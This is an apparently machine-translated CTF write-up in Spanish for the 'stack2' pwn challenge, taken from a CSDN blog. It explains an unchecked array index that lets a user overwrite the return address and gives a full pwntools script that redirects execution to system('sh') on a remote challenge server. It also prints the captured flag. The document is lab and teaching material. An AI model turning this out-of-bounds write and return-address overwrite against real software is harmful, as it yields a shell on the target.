pwn stack2

Arrastre el ida de 32 bits y
Inserte la descripción de la imagen aquí
analícelo aproximadamente. Este programa es que puede guardar algunos números en él, y luego elegir mostrar los números, agregar números y otras operaciones. Esta pregunta aprendí una laguna nueva y más oculta: desbordamiento de matriz,
Inserte la descripción de la imagen aquí
mira aquí, Cuando seleccionamos la opción 3, agregar número, aunque la matriz v13 define 100, no hay detección para v5. De esta manera, podemos modificar cualquier número, incluidos los datos fuera de 100. Podemos usar esto Un punto, cambia la dirección de retorno y otros parámetros
Inserte la descripción de la imagen aquí
. El truco aquí no está disponible, pero aquí está la función del sistema. Solo necesitamos encontrar sh y pasarlo a la función del sistema.
Inserte la descripción de la imagen aquí
A continuación, encontraremos la ubicación donde se almacena el primer parámetro de v13,
Inserte la descripción de la imagen aquí
var_88 Es el primer número que ingresamos, y al ver que finalmente se almacena en la dirección almacenada en eax, podemos depurar con gdb, y el punto de interrupción está en 0x080486d5, y luego ejecutar y ver cuál es la dirección almacenada en eax en este momento. ¿Qué
entrada b * 0x080486d5, r, 1, 1 a su vez?

Inserte la descripción de la imagen aquí
Lo
mismo es cierto para 0xffffcfc8 en eax . Mira la dirección de retorno
esp al final del programa se ejecuta en la parte superior de la pila. Cuando el programa finaliza, esp apunta a la dirección de retorno.
Inserte la descripción de la imagen aquí
Esta vez está rota aquí, 0x080488f2

Inserte la descripción de la imagen aquí
esp, 0xffffd04c, menos uno, el
código 0x84 es el siguiente

from pwn import *

def send_num(addr,num):
 	sh.sendlineafter("5. exit","3")
 	sh.sendlineafter("which number to change:",str(addr))
 	sh.sendlineafter("new number:",str(num))
sh=remote('111.198.29.45',39250)
sh.sendlineafter("How many numbers you have:","1")
sh.sendlineafter("Give me your numbers","1")

send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
#注意这里是0x8c
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)

sh.sendline("5")
sh.interactive()

Vamos al primer número 0x84, que es la dirección de retorno, y pasamos la dirección 0x08048450 de la función del sistema. No es necesario considerar los cuatro bytes en el medio, y luego pasamos la dirección 0x08048987'sh 'como parámetro al
indicador del sistema de funciones. : Cyberpeace {1ba810e17403a9004cd8a5997c5eb110}
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/104868116
Recomendado
Clasificación